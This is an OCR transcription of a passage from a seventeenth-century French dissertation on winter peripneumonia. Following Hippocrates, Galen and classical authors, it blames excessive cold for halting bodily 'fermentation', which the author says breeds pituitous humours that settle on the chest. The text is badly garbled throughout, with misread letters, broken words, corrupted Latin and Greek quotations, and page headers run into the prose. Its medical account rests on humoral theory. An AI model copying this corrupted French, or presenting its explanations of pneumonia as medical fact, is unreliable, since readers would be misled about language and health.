8 c cctte obligation regards
particulicrement ceux qui
font eftablis pour enfeigner nn art fi
noble & (i neceflaire. S’ils veulent
remplir digneraent leur fondions , &
I’efpcrance du People , il faut que
leur fagelTe ne fuffife pas feulemenC
pour eulc, mais que ce foie une fource
feconde done la plenitude fe repandc
fur tous les ordres inferieurs de la Me-
decine.
E’cmploy des ProfelTeurs n’eft pas
i Dljfertmon fur les
feulcmentde donner fecours aux Par-
ticuHers qui le deraandent; il eft uni-
verfcl j & fa plus noble Partie confif-
tc ^ traitter le corps enticr de laRepu-
bliquc, en obfervant & trouvat.t le
tnoyen de guerir , s’il eft poffible, les
maladies communes & populaires
le deftruifent.
C'eft par Ik que le grand Hippocra?
te a merite dcs honneurs divins de
route la Grcce . & quc les Atheniens
mefme enuemis de fon Pays > & fi fou-
ventinjuftes & crucls au meistecijcx-
traordinaire , one neanmoins palfe
tant de decrees en fa favcor : parce
qu’il avoir predit&guery.tant par'by,
que par fes difciplqs , cecte grande
pcfte dont Thucydide nous a fait I’Hi-
ftoire dans fon feeond Livre } parce
qu’en publiaut fes Efer/ts Immortels
fur route la Medecine ^il avoir trouve
le fecret d’affifter le Genre - Humain
jufques I la derniere Poftericc : parce
qn’ilfgavoit enfin decouvrir dans les
Maladies EpidemiqueSj cette divinite
^cachee & malfaifante qui tuc fes Hom-
mes , Sc f9avoit en rnefme tempsluy
Fenpemmemes d'Hyver. j
oppofer un art encor plus divin qui
Its confej’ve.
Ce Prince de la Medecine a cu rai-
fon de dire dans le commencement du
regime des maladis aigucs , qu^clles
ne fouffrent quun petit nombre de re-
iredesj connus dc tout le raonde. En-
forte que Ics Idiots peuvent paller
pour Medecins , n’ignorant.ricn dc ec
que le's plus habiles empioient. Ce-
pendant qu’il n’jf a point d’occafion
dans Part > ou il s’en trouve moins qui
mcricent ce nom , & on il foit fi mal-
aife dc les connoiftre.Quedeli nailfent
des conteflations infinies, ii frequen-
tes & li fortes , que la Medecine en
,cft meprifee, & qu’on doutc mefme
s’il cn eft quelqu’une. Mais qu’il ne
fe faut pas rebuter de ces difficiiltez.
Au cqntra'rc queJ’on doit redoublcr
fon attention > fa diligence , & fa fm-
cerite *, diftinguer fincment la nature
des maladies i ne fe tromper point aux
noms, ny ^ I’apparence des cbofes : &
fe giprifiant enfin d’avoir mis cette
doftrinc dans one meillcurc forme
qu’elle n’eftoit chez les Anciens , il
K2
"Divert at ion fur Us
adjoute qu’un Mcdccin eft fort loua-
blc , lors que dans Ics maladies aigues.
qui font pcrir tant dc mondc , il pent
tcnir une route plus afleur^c que le
commun. Enfinqu'il eft^tres apropos
d’eferire , ce qui n’cft pas aflez connu
des Medecinsfur cettc matierc ; foit
qu’ilfoit utile aux maJades. ou qu’il
leur nuife , puifquc Ton peut profiter
dc Tun & de Tautre.
C’eft fur la parole de ce Grand
Homme , & fuivant pas it pas fa Do-
drinc , fans le perdre de veue un feui
moment, que ie pretends deferire la
nature & le caradcre particulicr des
fluxions dc poiftrine-, qui dans le
cours de ces deux dernieres annecs»
nous ont cnlev^ tant de monde , &
que le mefmc Hippocrate a raifon dc
mettre aulieu deji cite dans le pre¬
mier rang des maladies aigues j puis
qu’en effet elles font Tune des plus or-
dinaires&des plus pernicieufesqui re-
gnent aujourd’huy dans TEurope.
Je commitncay^ lesjobferver it la fin de
I’Hyver de I’annde 84. le plus long
Sc Ic plus rude qui fe foit peut-eftre ja-
Peri/’tneuntoniis d'Hyver. S
mais faic fentir dans Ics climats temp':-
lez, & qui par confcquent nous mena-
cuit de maladies extraordinaires par le
premier Aphor. de la 3. Sed. les chan- ^
gemens des f^tifons, dit noftre Incom¬
parable Auteur , engeadrent fr'inafa-
lemem les maladies , & dans les faifons
mefmes , les grands changemems dtt
chaud & dufroid^tSf' le refie a profonti.
II eftoic done raifonnable qu’un
froid extraordinaire
Ainfique parle le mcfme Hippoc. au
commencement du I. Livre des mala¬
dies , en. produific de plus grandes &
de plus trequentes que de couftume 5
ccpcndantioujours dans le genre de
celles qu’il attribuc a I’hyveri par 1 *A-
p.hor. z3. de la mefme 3. kdi.L’hyver
dit-il, engendre des Plenrejies , des ‘Pe-
ripnenmoyiies ,des doaleurs de ctfie ,de
pnSrine , &c. Eivffet le grand froid
eft ennemy de cecte partie, par I'Aph*
£4. de fa fedt, J- Le froid'vteLent earn-
me U neige & la glace , ef ennemy de
la poi^rine j produit la toux , des era-
ehemems de fang , des flhxi'c ns.
L^cxpprience verifre cette Doclrinej
.A3
6 Dlfertatien fur les
&noasvoyons dans rhy »et» princi-
palemcnt lors qu'il eft d’une conftitu-
tiuionAquilontennCjdaiis lePrinccmps
qui le fuit , & mefme encor, quoy
quc raremenc dans TEfte , des pcr-
fonncs de tout age » temperament ^ &
ffxc , mais principatement du plus foi¬
ble , & ceux qui eomtncttent'quelquc
fautc dans leur regime de vivrc , atta-
qucz d’unc mefme cfpece de maladic ,
qui commence par laffitude fpontanee,
rigueurou du moins friiron , naufccj
vomiflcment. inquietude , fievre plus
que catarrhenfe , mais moins aigue
que dans ies verkables inflammations;
puifque pour 1’ordinaire. & dans les
commencements la chaleiir ii’cft point
acre , la langue n’eft point feche , &
ne change pas de couicur. Nous y ob-
fervons encor rongeur dejoiicidifficut-
te de refpircr , tonx,‘douleitr , mais
peu poigcameifous le fein,lt. fternum,
ou I’omoplate , cracKements jaunes
ou langlaais , quelquefois livides &
^cumeux 5 tenfion & douleur des hy-
pochondres 3 & mefme de tout, lab-
domcn , diarrhccs ferehfes & crues j
Pttlfenettmomts d'Hyver. 7
fiKurs univcrfcllcs qui paroiflent fou-
veut des Ic commencement de lama*
ladie; commc fur la fin vicin le dclire,
I’cxtremc opprcffion , qnelquc fois
mefmc les cxaothemcs pourprcj, &
enfin U fuffoc-ation,G^ cette M ort Peri-
femumetiique, dont parltHippoc- dans
la 7}. Coaque du 1 . Livre. Elle arrive
^ pluficurs dans le I. feptenaire , a
quclqucs-uns dans 1 ^ II. Ceux qui paf-
lenc Ic quatorzicjnc jour font ordtnai-
rement fauvez. Le fang que Ton tire
aux malades eft tantoft livide , & tan-
toft d’un jaiuie pile , gluant & vif-
queux. Le pouls & Turin'c vai'ieht ei-'
tremement fdoii Taffeeftion du poul-
mon , ou dcia plevrca la quantite de
Thumeur, le temperament du Maladc>
& les temps divers de cette maladic.
Dans quclques uris on voit tons cc$
fignes ou leur plus grande parties
& alors la maladie cftpernicicufe. It
cn eft de plus IcgcreS j & molles
comme les appclle Hippocr. aii 3. de
morb. qui n'en font paroiftre quequtl-
ques uns , & desmoiris confiderables.
Au 11 , du Prognoft , il marque
8 T)iJfertation/krles
tous les bons figncs , que Gal. dans
le comment, die eftre tous necelTaires
pour le falut du malade, au lieu qu’un
feul mauvais fuffitpour le faire moutit
Cherchons la raifon de ces f&cheux
fymptomes. Hippoc les attribue k
THyver & au froid , dans les paflfages
allegnez , comme encor au Liv. i^e
acr. aq. & loc. maisil ne die pas com¬
ment ni pour quoy , fe contentant ^
fon ordinaire , de< Tnarquer la caufe
& reffec, fans s’amufer h faire voir la
connexion naturellc 5 c neceflaire , qui
e.ft entre I’un & I’autre . ce que nous,
appcllons raifon. Il a laifle prefque
partouc cet exercicel rinc|uftrie de fes
Pifciples , qui n’cft pourtant jamais
plus heureufe ny plus penetrante, que
quand ^ force d? meditcr fa dodtrine ,
elle r^.ait c^pliquer im paflagepat un
autrei& tiref de I’obfcurite myft^ri'eu-
Pry^epceur , les lumiej-es qpi
lay font ne'ce(rai:fes, patur la conduiiic
dans.,fobfeluite de la nature. C’eft ce
que nous tajeherons a faire dans la
fuit©. ' .. .
, Galipn qui railprine ordihairepent
*Peripeveumonies d’Hjver. 9
plus qu’Hippoc. au comment, fur Ic
23. Aphor. de la Sect, djt , le
froidblejfe les inftrumens de lartfpir/*p
tioti, font tiecejfairement expofe^^a
fa rigHeur , paree qm nous ne pouvons
Us coHvr 'tr comme Us amres partits,qfte
mm deffendons par ce mejen. Mais
ce n’dft cncor dire quc le fait fans cn
apportcr la raifon. Tafchons d’allcr
plus avant, & monftrons pourquoy le
froid eft cnncmi dc la poiitrine , &
comment blelTant fes aftions comma-'
nes & particulieres , il produit les ac-
cidens dont nous avons fait mention
cy-deftns.
Je ne pretends pas traitter It fond
cn ce lieu de la nature du froid , e’eft
une matierc trop vafte, & qui excede
lestermes d’une fimple Differtation j
je diray feulement ce qui peut fervir ^
mieux faire connoiftre le fujet que ie
me fuis propofe de traittcr. Le chawd
& le froid font les deux premieres , &
les plus communes affedtios dcs corps.
Mais pour eftre fort fcnfibles , dies
n’en font pas plus evidentes , & Ari-
ftote a raifon ;de dire au a- Liv. de
lo ’Dijfertation fur les
fartlb. atnimal. chap.z. que fi le chaud
& Ic froid font <1 pen connus > nous ne
qpuvons guercs nous promcttrc plus
I certitude dans ks autres rechcrchcs
de la Phylique. EnefFet, la nature &
les caufes de ces premiers agents eft
fort cachce j & unc grande partie de
lafagclTc liumainc confifte a les bicn
jconnoiftre ; difeerner ee qu’ilsont de
femblablc 5 c de eontraire , & i ne
prendre pas Tun pourl’antrc.
Le chaiid & le froid font les pre¬
miers inftriiments de Dieu dans Tad*
miniftration de rVnivers. Tons deux
lui font attribuez dime fa9on particu-
lieie par le Pklrrifte j car s’if dit da
Premie r Non ,(fl fe ttbfcondat d
(alore ejns , il dit aulK du Second :
^fite factew frigorts ejus t^uisfitflinebiti
Tous deux font renfermez dans fes
threfors j aulli bien que les vents qui
les produifent dans I’air. C’cft done fe
tromper , que de croire avec quclqucs
uns , que Dieu n’cft point I’Autcur du
froid , non plus que des tenebres ny
du peche. Mais ce qui fait ^ poftre
fujet, eft que ie chaud & !c froid ont
Ptrlfeneumonies d'Hyver. ii
des mouvcmcncs concraircs , & fc
chaflent mutuellement des Corps. Lc
mouvcmcnt du cbaud cfl expanfif, il
pouffe du centre 1 la circonferencc . il
augmente, dilate . & rarefic , ainfi
que dit Htppoc. au Liv. de Prtneif.
& par’confcquent il fert ^ la genera¬
tion & Slavic , qui felon le mefmc
Auteur, aul. Livre de Dt<ttd, n'eft'
qu'un accroiffement. comnie la more
n'eft qu’iine extreme diminution Mais
cettc rarefadion dela chaleur pourroit
eftre immodcree , & ne fe contien-
droit pas aflez dans les bornes que la
nature a preferites convenableni'erit
a tous les eftres , fi le froid furvenant
h'empefehoit cette dilatation cxceffive
qui les pent deftruire.
C’cft pourquoy la Sagelle du Crea-
teur , a cftably dans la moyenne Re¬
gion de I’atr > le liege principal , &
pour me fervir de I’expreflibn d’Hipp-
ia Metropole du froid , afin de lervir
de ^rriere aux evaporations qui fc
font du globe que nous habitons j les
empefeher de fe perdre en montant
trop haut dans les efpaces'irrimenfes
li ‘Difertattoft Curies
4e I’air : & Ics depoiiillant de leur i&-
vcurs , odcurs, & aiitres impreffions
des premiers ferments , les ramener
vers le lieu de leur originc , pour fer-
vir encor de maticre a de nouvclles ge¬
nerations j qui font veritablement des
ouvrages de la chaleur agillantc fur
Thumidite , Getteratio efl prima far-
Uetpatto vegetAnus mima enm calido
innate, die tres-bien Ariftotc , lib. de
"d(jfp’ Mais dont ncantmoins aucunc
ne pourroit reuflir, fans un froid mo-
derc , qui limite fes moavements , &
les relTcrrc dans leur jufte mcfurc.C’eft
la dodrinc de Jules Cefar Scalig.
Exer. 2Z. apres Ariflote au 11. Liv. dc
la gener. des Animaux chap 6 . auffi
bien que d’Auerrhoes : frigm ingredt-
tar opus & ufum natura , difent tous
ces Grands Pbilofophes.
C’cft par cette mefme raifon que
I’Hyver tout dcfagreable qu'il eft entre
les faifons , eft pourtant unc des plus
necelTaires , & fans laqueHc , dit,
Hippocrate au Liv. de l^jetur. Hum.-
tex. 38. Toutes les autres feroient de.
truites. Son froid , die , Pline Liv
17
Perifnetiwontes d’Hyver, . ij
17. Chap. a. trop elegamment pout
pouvoir eftre i yimmam terra
evanefcemem exhalattone inclndn , &
eomprirnit , retroque agit in vires fin-
gum atque radices. Les neiges qu’il a
coucume de produire , dit cec Excel¬
lent Auteur , Liquorem fenfim prahent
' pttrum levijfmumque y quando nix'
aquarum ccelefiium f^uma efi. Ergo
humor ex his, non univerfus ingurgitans
diluenfque ,fed quomqdo fititur difiil-
lans, velut ex ubere alit omnia , qua
non inundat.TeUus quoque illo modo fer- ,
meniefct.t, & fucci:plena , ac laUefcenti-
busfatis non effoeta, cum t 'empus aperit, .
teptdis arridet horis,&c.Ct^ doncavec
raifon tpe d’Aviti> dans la defcription
de rifle S.ThomaSjfituee jufliem6,t foils
J’Equateur,a rernarque quc'le fromeqt» -
Its raiflris > & autres. fruits de cetce na¬
ture,n’y peuvent meurir faute de fruid.
Et Hipp. au III- de d/<ef.dit que Ifis ar-
bresqui n’ont point foufferc THyver*
ne peuvent donner de fruits.-ny fe biea
porter. Et le mefme Piine au lieu cite ,
Ergo qui dixit hyernes ferenas, optandas,
non pro arboribus vota fecit» Dans le
genre des animaux^le benefice du froid
B
14^ Difertatim fur les .
eft conftant par I’Aphor. ij. de la I;
Sect. & par le mefme Paffage du 111 .
de dUt. ou il eft die que pour eftre fain,
il faut s’expofer au froid , & comme
Ion dit vulgairement, s’hyverncr
Mais tous ces av^ntages ne fe
peuv-ent attendre que du froid modeK
Car lors qu’il eft excellif, ajoiite
le mefme Scaliger, & furpaffe tons
ies degrez du temperament, il deftruit
la Nature qu’il confervoit, & devienC
fon plus mortel ennemy. C’eft pour-
quoy, Virgile dans le II. des Georgiq*
lay donne I’epithete de fcelerat.
- SceleratHm exfuirere f igas ,
Difficile efi.
Gar il condenfe les corps > & Ies prefle
fi fortement vers leur centre, qu’ils-
n’pnt plus de libertd pour cxercer .
leurs mouvements. C’eft la Do6lri-
ne d’Hipp. en plufieurs endroits du
Liv. de ^rincif. Et au Liv- de Platib.
lors qu’il dit qu’en Hyver , I’efprit eft
froid & condenfe , & que dans TEfte
il eft doux & tranquillCi L’Auteur
de I’Hiftoire Phiiofophique dit, que
feloia Empedocle & les Stoi'eiens,
I’Hy ver fe fait, lors que la denfit? de
'Ptripenenmonies d'Hjver. 1/
J’air prcvaut, & a le deflus ; Et Ga-
licn daas leChap. I. du VI. Liv. dt
SimpUc. medicament, factiltat. C’cft
lepropre du ftoid qae de refferrer ^
condenferfon fnjet i & mefme <jtiand
il eji violent de le rompre & de U met-
tre en pieces. C’eft aiiffi la Dodri-
ned’Ariftote dans le XIII- Liv. des
Prob. V. lors qu’il appellc , n
ytll'nwt. 5 3 rctniu'i ,
la chalettr donne le monvement , le
froid. an contraire arrefte & re^ferre.
Les Philofophes Modcrncs cnfei-
gncnt la mefme chofe : entrc autres
I’llluftre Monfieur du Hamel -cn fon
Traitte de Corpor. aff'eEiion. au Chap,
dll froid , dans lequel il fait Profcffion
de tradiiire la Dodrine du noble &
fcavant Monfieur Boyle. Ec que.l’on
ne m’allegue pas qne I’eau congelcc
brife les vailleaux de verrc , de niar-
bre & d’airain , dans lefquels elle a
efte glacee ; ce qui femble ne pouvoir
proccder q^e d’une dilatation & rare-
fadion que le froid luy communique.
Cette augmentation pretendue des
corps congelez n’e.ft qu’apparcnte, SC
DifertatioH fur let
fc fait par accident, fors que le froid
Jes ferre de li pres , que fa propr*
fubftance , telle qu’cllc foit , entre
dans la leur, & for9ant Icur plus iini-
me compoficion j femble raugmcii-
tcr en la rompant .■ comme fes coins
font groffir le bois qu’iJs fendent.
Gu plutoft I’aif toujours mefld a-
vfc Teau 3 fe trouvant furpris parle
froid , eft telKment condenfe , qoe ne
pouvanc fouffrir longttmps cette vio¬
lence , il retourne ^ fon eftac naturel
avec explollon , par cette vertu de ref-
fort que toutle mondc eft oblig^ d’y
reconnoiftrcj & qiii n’cft que crop ca¬
pable de brifer les maticres les plus
dures. Cette raifon eft confirmee par
I’cxpcri^nce nouvtllejque nous apprift
Tan paffc le Journal dcs S^avants , par
iaquelle il eft conftant , que li fair eft
feparc de I’eau par la machine de Mr
Boyle 3 cllc fe congcle fans rompre fes
vailfeaux , & par confequent fans
fonffrir cette pretendue rarefaction du
froid , dont Ic mouvement propre»
veritable, & naturel, eft de concen*
trer les corps , & les reduire s'il fc
Pertpenemomes ^'Hyver, 17
pouvoit en im point , & dans cette ex¬
treme diminution , qui comme nous
avons de\adit , n’eft ricn aUtre chofc
que la mort chez Hippoc.
C’cft par cette adion que le froid
exceffif mortifie & fait gangicnerlcs
naembres du corps qui luifont expo-
fez j parce que leur vieconfifte dans '
Ic mouvement des humeurs & des
efprks qu’il arrefte i enforce que Its
parties ne fc nourriifent plus j & per-
dant leur continuite avec le tout , s’en
feparciit, comme fi ellcs eftoient fer-
rees fore eftroitement. C’eft par Ik
que -le froid de THyver gafte & cor-
rompt les fruits, deftruifant Tarren-
gement de leur parties, 5 c les ramol-
lillanc j fans les cuire ily les meurir.
C’eft par-Ik mefme qu’il efteint la
vertu vegetale jufque dans les fe-
mences , comme nous le vifmes Tan-
nee derniere par la fterilied de nos
Campagnes j & comme il eft ordinal,
re dans le Spielberg, la nouvelle Zem-
blc , & CCS autres climats condam-
nez k une longue & prefquc Eternel-
le froidore , qui ne prodpifent aucune-
iS Dijfertation fttr Us
Plante > & dont k cerre n’efl: jamais
eouronn^c de. verdure . que Virgilc
a fi bicn decries au III. dcs Georgiques
" ■■■ ■ -- neqtte vlU
uiist htrha cAmfo AffpArem , Ant ar-
bore frorides ,
Sed jAcet aggeribns tiiveis informis ,
& Alio
ItrYA g(hi Ute ,feptemq»e Ajfurgit
tn vlnAs
Semper hyems , femper fpirAntes
frigora CAUri.
Si CCS Regions malheurcures ont quel-
ques Habitants, jls font fi petits> que
le plus grand n’a pas quaere pieds dc
hauteur. Hipppe. au Livre de acre aq.
& Ice, avoic remarque ce rabougrif-
fement dans les animaux qui croiffent
aux Deferts de Scythie. Et kmefme
il enfeigne que Ics grands changemens
du froid Sc du chaud , qui arrivent
ordinairemcnt dans I’Europc. rendenc
fes Habitants de formes & dc tallies
fi differentes, en forte que les uns font
grands, Sc les autres petits : aulieu
que dans les Pays, oii les faifons font k
peu pres d’un mcfme temperament,
*Fer 'ipeneumomes d’Hjver. 19
commc rAlic , la Scythie , la Lybie,
& I’Egyptc , les liommes y fonc ordi-
nairemcnt fcmblables.
Tous CCS divers cfFets du froid Im-
modcri , fe pcuvent rapporter k unc
caufe generale , qvii meritc bcancoup
dc reflexion dans le fujct quc nous
traittons : c’tft Ic dcfaut de Fermen¬
tation j .quc la plufparc des Medc-
cins ne confiderefit pas affez •, quoy
quc ce foie la prineipale , bu pliKoft
la feule adion de la nature j & par
confequent la caufe unique de la
vie & dc la fame, de la mort & de
la roaladie. Eh efFet fa mediocrite fait
Its deux premieres, fon exeezou fon
defaut procure infaiblcment les deux
autres.
Il faut reduire ^ ce principe » tout
cc qu’ou enfeigne ordinairement dcs
Elemens. des tempciamcnts , de la
chaleur naturclle, dcs cfprits > des hu-
meurs.cn un mot toute la Phyfiologie,
la Pathologic , & mefme toute la Me*
decine , fi on la veut bicn entendre &c
pratiquer. Les Efcoles cependant ne
parlent de la Fermentation , que dans
z o Dijfertation fur Us
la ^herkque , ou femblables medi¬
caments ; Ics Chymiftes vulgaires la
defigureiu fous les noms barbares , 6c
les proprietez imaginaires , mal cn-
tendues , & plus mal expliquees des
Acides & des Alkalis j au lieu de pui-
fer dans les vives fources du Grand
HippoC’ auquel Galien dans le III. dc
la Meth. Chap. 3. a raifon de donner
la louange d’un efpric tres Philofophi-.
que i & duquel Platon , qui felon le
mefme Galien X de vf> part. e(t fon
Imicateur , a pris cette mefme Do-
ftrinc qu’il enfeigne dans le Timee.,
^inti qu'ArijiQte la doit ^ tous Ics
6ci}xaalli. <^e<Jener. animal, ch. 4.
Mais.ces Autheurs femblent n’a*
voir parle qu’en Enigme d’un fi grand
myfterej &' cette aifeftation d’obfeuri-
tc queGalien attribue en plufieurs en-
droits au Divin Hippoc.
luy convient principalc-
ment dans les Dogmes de fa Philofo-
pbie , dont il paroift bcaucoup p'us
jaloux que de fa Medccine. Ainfi Ton
nepeut efperer de ces Grands Hom¬
ines , que des femenccs »lefquejles fe*
*Ptrtpentumenies ci’]:].jver. ti
Ion Galien an VII. de la Methodc Ch.
a. demandent de bons Labourcurs *
qui par la culture cxquifc d’une pro*
fonde meditation , & dc longues ex¬
periences,les falTcnt germerSe croiftre,
& les portent enfin k la perfedion.
Pour revenir i noftre fujet, i’ay par-
16 de laFermentation ^ fonds dans une
autre occafion ; ic dis icy Iculcment
que le plus mauvais cfFct du froid cx-
ceflif, eft dc la fupprimet tout h. fait*
ou de la diininuer notablcmcnt dans
les mixtes : parce qu’il arreftc & met
dans un repos violent. les parties d'ait
& dc feu qui en font les principes , 8C
ainll prefte Sc rend inutile le grand
reflbrt dcs machines vivantes. C’eft
par cette raifon que dans le Spitfberg
Sc les autres Regions tres froidcs done
nous avoiis parlc , les corruptions y
font aufli rares , que les generations }
parce que les unes & les autres ne font
que des fermentations. Les Cadavres.
ne s’y pourrilfent point, cemmcl’a-
voit remarque Galien au !• Livre des
Temperaments, & les Hollandois y
lailfent le lard d,e leur Baleines pour
%% Dljfertatlou fur hs
Tannee fiiivance cn coucc feuret^ ;
comme ils y retrouvent Ics corps de
ceux qui meurent dans Iciir equipage ,
Ians aucun changcmcnc. Ce qui a fait
dire fi agrcablement ^ I’Autheur de la
defcri.ption, du Greenland , que Jes
Morts s’y portent bicn , mais que Ics
Vivants y fouftrent beaucoup.
Nous avons une preuve vulgaire de
ce mauyais cfFct du froid , dans la pre¬
miere & la plus commune desFermen-
lations , & qui femble avoir donne
le nom si toutes les autres , qui eft
ceile des Boulengers , dont la pafte nc
fepeut lever que par I’aiAc dc la cha-
leur , & quand elle eft furprife du
froid , ellc demeure lourde & pefante.
Nous remarquafines dans I’hyver de
1 (J S 4. la mefme chofe dans les li¬
queurs les plus fermencables , nos Ci-
dres demeurereiit longtemps doux SC
epais, nos vins eurent de la peine ^
s’^claircir ; ce qui ne fe peut attribuet
qu’au froid extraordinaire que nous
reiTentifmes en ce temps-la , qui fuf
Cl rude pendant plus de deux Mois )
que la liqueur du Thermometre de
Terlfeneiimotiitt d'Hyver. 15
Florence , qui dans Ics grandes cha-
Icurs s’elevc jufques ^ quatrc-vingC
dix degrez, parut rrffcrree pendant
quciqncjours , jufqucs dans Ic pre¬
mier.
Ce que nous avons veu dans nos
muids & dans nos tonneaux.s’cft paffe
^ peu pres dc la mefme forte dans nos
corps & dans nos veines par la forte
intemperic de IVir , qui comme I’en-
feigne Hipp. au Liv. deFlatib. eft la
caufede la vie & dcs maladies , Sc
Ic fouverain maiftre des alterations.
ll ne faut
done pas s'eftonner , ft dans les corps
foibles par nature, par maladie, ou par
intemperance . la mafle du chyle &
celle du Sang n’ont pm fe rafiner &
cuire par une deue & legitime Fer¬
mentation , que Ton peut appeller la
premiere intention , & le voeu de la
Nature , qui ne tend qu’^ feparer par
ce moyen ,digcrcr & fubtilifer les ali¬
ments, Si I’air que nous refpirons, qui
felon Hippoc- au Liv. de Aliment,
fert auffi de nourrienre , nam fftrhus
almtntttm eft j afin que lors
2,4. fDljfertation fttrles
qu'ils fcronc dans le degre dc perfc-
ftion rcquife , cc quc nous aj^ellons
co6lion& digcftion ,_clle puifle repa-
rcr I’ccoiilcment continuel des trois
fubftanccs dont nous fommes compo*
fez. Jc pretends done quc Ton doit
principaleinent rapporter i ce dc-
faut deFermentation caufc par Is froid,
la generation des faulTes inflammations
de poidrine, dont nous parlons ; puif*
que deU procede I’abondance & la
force du fuc pituittux & crud , qui,
comme nous Ic prouverons dans la
fuitc , eft leur veritable caufe antece¬
dence.
En effet Fair qu’on refpirc dans un
grand frotd , aulieu de rarefier le fang,
& le mettre cn mouvement, en coa-
giile plvifieurs parties , Its feinerude,
pout parlet ainfl , & les rend pituitcu-
fcs. Et puifque chez Hippoc. au livre
III. de vf£l. in acut. tex. 38. la bile
fe change enpituite, pourquoy le fang
ne pourra t’il pas retrograder cn cette
humeur , dc laquellc il eft moins cloi-
gne par fa nature, fon temperament,
& fa confiftence 5 C’eft la dodtrine
tres
Perii>ititt7prdn'iti(i*fifver- 1 /
tr6s-exprcll'c d’Hipp. du Liv’. de nau
human. & di dil. dans le tomniinc.
fur cec excellent Livre, que MLreuriai
met ^ bon droll, li piemier de la pre¬
miere clatle, danS les oeuvres de 119-
tre Prccepteur , qni apV^s avoir eftably
dans Ic teXtc 18. qne lefnng\ i'mt &
Vatttrt bile., & la pttatte ,f ont la nature
' d» corps , & les caufes de farite & de
. maladie , felon. cj.i* tiles augmenttnt
dimimtent , elleS fe meflent oh fe fe~
parent i & an teXte a qu’t lies font
tres-differenies, non feulemehc de iiom,
mais aufli de formes & de qualitez,
•^Uu'Tt & tjHon ne les pent
confondre non plus ^ne lefeH &l’eaa.
II dit an te'xce jx la pitnite Aug-
fnevtte en h'fver j parce tpn eBant la plus
frotde des faifons , iI doit , feloH fa na^
ture , ejrgenirer la pltis frotdi & lA
plus vifepnenfe des -quaire humenrs
^ compoftnt la majfe dufang t 7tiT*ii
•§ y>iixs.ijato>, eScdansletex 53. cetti
hnmtnr p'ltHtteufe l-'efi encore tres forte
dans le frtntemps ; cjtioy le fang re-
prerine le fejfns ; mdis -Jans f Elfe 'ih efb
treiaffoibheii'j^eoiea.'er ’^''*#>' iatrS-d
i ce ^Htfatt qne tes maladies qni re-
' Dljfertmon furies
gnenten hyver en efle. j & a,u
con .raire. Peut-on micux defcrire Ics
cauTes, la generation , & la durie des
maladies d’hy^rer ? entre Iclquelles
nous avons deja fait voir par lado-
£frinc du mcfme Hippocr. & par I’ex-
pericnce ; & le pronverons cncor plus
amplcment, qu’il faut necclTairement
compter les Peripneumonies dont nous
trattons. Galieu 8. de fUett. exalte
fort cecte doiSlrine, la prefere ^ tout
ce que Platon a dit fur ce fujet i & la.
fait valoir.cornme une demondracion.
Et e’eft avee luftice ; car bien qu’il n’y
ait point de dogme en Medccine atta-
que plus fortement, par les Nova-
teiirs 3c les faux Chymiftes , que ceux
des quatre Elemens, 8c des quatre
Hi-imcurs j.lefqHels nous devops tous
deux au grand Hippocr. cependant >
il n’y cti a point de plus vcrita'blc , de
inieux reconnu , mefme par les anr
piens Philofophes Hermetiques ny de
plus aife a d- m<5nftrer pourveu qu’on
s’y prenne bien.
Mais comme dans le fm- Liyre,
comment. tex. 2. noftre Auteur en-
feigne, que 1« caufes des maladies
Feri'pniUTfJomts d'fffver. ij
eommilnes , fe doivcnt prendre & dc
I’air que nous refpirons<& de la di$£?,
c’eft ^ dire du regime de vivre de cha-
qne parcicuiieri morbt alij a fpuhu i
altj a dUta j faifons voir dairement
quecet autre pdneipe fert ^ produire
la matierc qui fait, felon nous, Ics
fluxions de poidtrinc; & que la eru¬
dite du vemritule & de la pr^nie-
it region, eft la caufe la plus wdi-
naite qui les engeud'rc. Enfortc que
Ton pent dire que leS Peripneumonies
b'aftardes , ou d’hyver , ^ le bieii pren¬
dre , font sutant d'Indigtftions , dont
la matiere fe jettc fur la pdidlrine;
dc la nature pru pres, des peripneu-
ihonics' que deferit le grand Hipp. au
t'cx. 7. du Liv. des Jnterti. qui
naiilent d'exeez , de vin & de viandc ,
dont noas parlerons cy apres. Cette
pfopofitlon ne fera pas difficile ^ com-
prendre it ceux qui fe reflouviendront,
que dans ce rude & long hyver dont
nous avoirs fait mention , les aliments
dont Ton fe fefvit j depuis la fin du
mpis de Dcccmbre, jufqucs ^ la moitic
de F^vrier : comme pain , vin , cidre,
viande, poilTon > cftoieirt tons glacez
5,8 *Z)ifm4jlox fm Us
& rpidcs dc froid ; eiiforte que ncu?
yirmes fonrlors ptatiqncr ce que dit
Virgilc an j- des Geofg.
ftcmihw humiift i/im>
Le Carefnje fprvcDant U dcfliiSi fe
ir.ift auffi d? la pari;ie ■, deforte qpc
les alitncnts qui font to&jouj;® pjtui-
teux en hjvtE» felon Gal. au I. com-
mcn^. ilir Ic l-iv. <sfe «4t> hunt, ttx*
3.6. le furent jarpai? cn fi Uau?
dfgri. Aio^tez ^'ccla U foiblelTe des
e.Qon;^eba I qpt, coname dit foi;t biea
Hipp. au commencement duLiv. dt
atre, <r§!. C?* Uc. k changent svec les
faifons, & s’affoiblifl'ent eii hyver 3
lors qp’ils ne font pasaffez cbauds»
ny aflez vigeureux pour joUir du bene*
fice de rAntiperiftafe , qui leur eft at*
tribute par I’Aphor. 1/. du 1. Liv.
De pins cncor parnoftre roauvaife ma*
nicre d’habillement, cette partic eft
prcfquc entierement defcouverte j ce
qui eft tin defaut confidcrable , &
qne Galien n’a pas oublie dans le
paflage fus allegue.
C^e pouvoit-il rcijlllr <Jc ees dif-
pofitions j & de ce concours dc caufes
materiellcs & efEcicntes?Qu’un grand
^eriprtutntntes d'J^jver. 29'
airas dc crudkea a2ymes, pour ainfi
pat If r, qui rcnipliflant ^ imcftins
& Its veines , dans Icfquelle^ lc froid
trouvc entree j felon, le oiefiric Clalicnj
ne ppuvoii foun ir dc liiatierc 'Vun
fang fubiil & fpiritueux ; & ne pV^-
dutfoic qu’no fuc crud & pnuiteux's
qui congcle le fang & at'refle fon mou- -
v'ement i ou par fon acidkc , puilque
ft Ion Hippoc. ao Liv* de ioc. tr> Llmm.
W. C'ta Us actdes fent
fi'tiineHX, Si par I’Aph. jj. dc la St£t.
6 \ cetix vvmijjtm heattcottp de cittt
niatiere , xe foKt f M’/tijets nvx pka-
reftts. Ou bien la pituitc coaguie'tle'
fang par froideur & vifeofi'te; tciume ’
I’tnfeign'e le mtfme Hippeicr.' an 1 -
Liv. des maladies , ce ^Ut nefe don pas
entendre, ajoute t-tl, a’ttne-coagtla*
Von, entiert & pay fane', tar i’hen me ne
genrren pas t^tzre, p le Jar.g dtxench'
beattcoup pltts denjt & plus froid
riedonepre. EV encore plus expr; de¬
